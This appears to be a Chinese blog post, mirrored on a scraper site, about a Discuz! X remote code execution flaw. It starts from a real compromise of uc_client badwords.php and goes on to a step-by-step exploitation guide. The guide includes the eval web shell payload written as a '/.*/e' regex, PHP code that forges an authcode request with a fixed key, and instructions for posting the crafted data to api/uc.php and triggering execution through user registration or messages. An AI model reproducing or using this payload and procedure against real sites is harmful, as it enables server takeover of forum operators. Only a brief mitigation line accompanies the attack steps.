zoukankan      html  css  js  c++  java
  • 关于Discuz! X系列远程代码执行漏洞

    一、漏洞起源

    突然有同事反馈,无法注册

    看到这里不了解的同行估计一年懵逼,这里也是常用的漏洞攻击,可以肯定的是  badwords.php文件被修改了 ,可以查看这个文件内容

    <?php
    $_CACHE['badwords'] = array (
      'findpattern' => 
      array (
        'balabala' => '/.*/e',
      ),
      'replace' => 
      array (
        'balabala' => 'eval($_POST[whoami]);',
      ),
    );
    

    果然这里被篡改了  

    这个文件路径在:uc_client/data/cache/badwords.php

    正常的文件内容为

    <?php
    $_CACHE['badwords'] = array (
    );
    

      首先需要做的是把这个文件改回来,然后堵住漏洞

    二、漏洞根源

    这个问题的根源在于api/uc.php文件中的updatebadwords方法,代码如下:

    function updatebadwords($get, $post) {
            global $_G;
     
            if(!API_UPDATEBADWORDS) {
                return API_RETURN_FORBIDDEN;
            }
     
            $data = array();
            if(is_array($post)) {
                foreach($post as $k => $v) {
                    $data['findpattern'][$k] = $v['findpattern'];
                    $data['replace'][$k] = $v['replacement'];
                }
            }
            $cachefile = DISCUZ_ROOT.'./uc_client/data/cache/badwords.php';
            $fp = fopen($cachefile, 'w');
            $s = "
    

      

    badwords用的地方比较少,主要集中在uc的pm和user模块中。

    这里用user来举例,在uc_client/model/user.php文件中有一个check_usernamecensor方法,来校验用户名中是否有badwords,如果有的话就将他替换掉,代码如下:

    function check_usernamecensor($username) {
        $_CACHE['badwords'] = $this->base->cache('badwords');
        $censorusername = $this->base->get_setting('censorusername');
        $censorusername = $censorusername['censorusername'];
        $censorexp = '/^('.str_replace(array('\*', "
    ", ' '), array('.*', '|', ''), preg_quote(($censorusername = trim($censorusername)), '/')).')$/i';
        $usernamereplaced = isset($_CACHE['badwords']['findpattern']) && !empty($_CACHE['badwords']['findpattern']) ? @preg_replace($_CACHE['badwords']['findpattern'], $_CACHE['badwords']['replace'], $username) : $username;
        if(($usernamereplaced != $username) || ($censorusername && preg_match($censorexp, $username))) {
            return FALSE;
        } else {
            return TRUE;
        }
    }
    

    可以看到代码中使用了preg_replace,那么如果我们的正则表达式写成“/.*/e",就可以在使用这个方法的地方进行任意代码执行了。而这个方法在disucz中,只要是添加或者修改用户名的地方都会用到。

    三、漏洞利用

    首先我们们访问api/uc.php,之后我们会发现uc处理机制中比较讨厌的环节——用户传递的参数需要经过UC_KEY加密:

    if(!defined('IN_UC')) {
        require_once '../source/class/class_core.php';
     
        $discuz = C::app();
        $discuz->init();
     
        require DISCUZ_ROOT.'./config/config_ucenter.php';
     
        $get = $post = array();
     
        $code = @$_GET['code'];
        parse_str(authcode($code, 'DECODE', UC_KEY), $get);
    

     

    所以这里需要有个前提,需要知道UC_KEY或者可以操控UC_KEY。那么问题来了,我们要怎么达到这个前提呢?

    我们在后台中站长->UCenter设置中发现有“UCenter 通信密钥”这个字段,这是用于操控discuz和uc连接的app key,而非高级的uc_server key,不过对于我们getshell来说足够了。在这里修改为任意值,这样我们就获取到了加密用的key值了。

    可以看下配置文件,秘钥已经发生变化

    文件路径为:config/config_ucenter.php

    然后我们在自己搭建的discuz的api/uc.php文件中添加两行代码,来加密get请求所需要的内容:

    $a = 'time='.time().'&action=updatebadwords';
    $code = authcode($a, 'ENCODE', 'R5vcQ374u2C2W6K7V7r9u1T7P6f9F5o2ObW6x1X0OeY7bfv5Mag4Yb6bf658D0d5');
    echo $code;
    exit;
    

    然后用post方法向api/uc.php发送带有正则表达式信息的xml数据包,请求头中有两个地方需要注意,一个是formhash,一个是刚才获取的code需要进行一次url编码

    发送后可以发现uc_client/data/cache目录下的badwords.php内容就变了:

    <?php
    $_CACHE['badwords'] = array (
      'findpattern' =>
      array (
        'balabala' => '/.*/e',
      ),
      'replace' =>
      array (
        'balabala' => 'eval($_POST[whoami]);',
      ),
    );

    之后利用方法就有很多种了,可以通过增加一个用户来实现代码执行,也可以通过发消息的方式来触发,或者用户注册  

    四、总结

    漏洞小结

    1、影响范围个人评价为“高”,Discuz! X系列使用范围极广

    2、这个漏洞不只是单纯的后台代码执行,在uc_app key泄露的情况下也是可以利用的

    防护方案

    限制用户提交正则表达式的内容 

    不允许这用就对了 

  • 相关阅读:
    栈溢出笔记1.3 准备Shellcode
    聊聊手游的那些惊喜与惊吓
    GIS+=地理信息+容器技术(4)——Docker执行
    与AQS有关的并发类
    HDU 2102 A计划
    生产系统ELK日志采集系统
    datagrip离线安装驱动jar
    oracle无效索引重建
    18年总结及19年展望
    shell符号解释
  • 原文地址:https://www.cnblogs.com/chenpingzhao/p/9953130.html
Copyright © 2011-2022 走看看